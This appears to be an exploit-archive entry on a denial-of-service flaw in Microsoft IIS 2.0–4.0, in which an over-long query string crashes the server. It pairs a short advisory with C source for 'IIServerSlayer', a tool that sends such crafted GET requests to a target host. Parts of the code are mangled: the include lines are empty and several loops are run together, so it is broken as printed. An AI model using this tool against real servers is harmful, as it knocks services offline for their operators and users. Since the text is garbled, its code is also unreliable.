// source: https://www.securityfocus.com/bid/2654/info Microsoft Internet Information Server is vulnerable to a denial of service. This particular denial of service affects versions 2.0, 3.0 and 4.0 of the server prior to service pack 4. The URL which causes this issue is of the format "http://server/?anything=XXXXX" - note that no existing file need be requested. This is not a buffer overflow; a URL of specific length must be sent (between 4k and 8k), anything longer or shorter will not affect the server. /* Some days ago I found the page http://www.eden.com/~tfast/jihad.html Then I found the java program IIServerSlayer.class made by Todd Fast , the author of the web pages. Now I have ported that program in gcc from java using strace and disassembling IIServerSlayer.class with javap (part of jdk). For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2 and glibc. by Andrea Arcangeli */ #include #include #include #include #include #include #include #include #include int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode to view the server reply\n"); printf("[-f] = force running over non or patched IIS/3.0 web server\n"); exit(0); } for(i=1;i param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("I can' t fork\n"); exit(-1); } usleep(60000000); /* wait for 1 minute */ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Sorry, %s is alive yet\n",argv[param+1]); } exit(0); }

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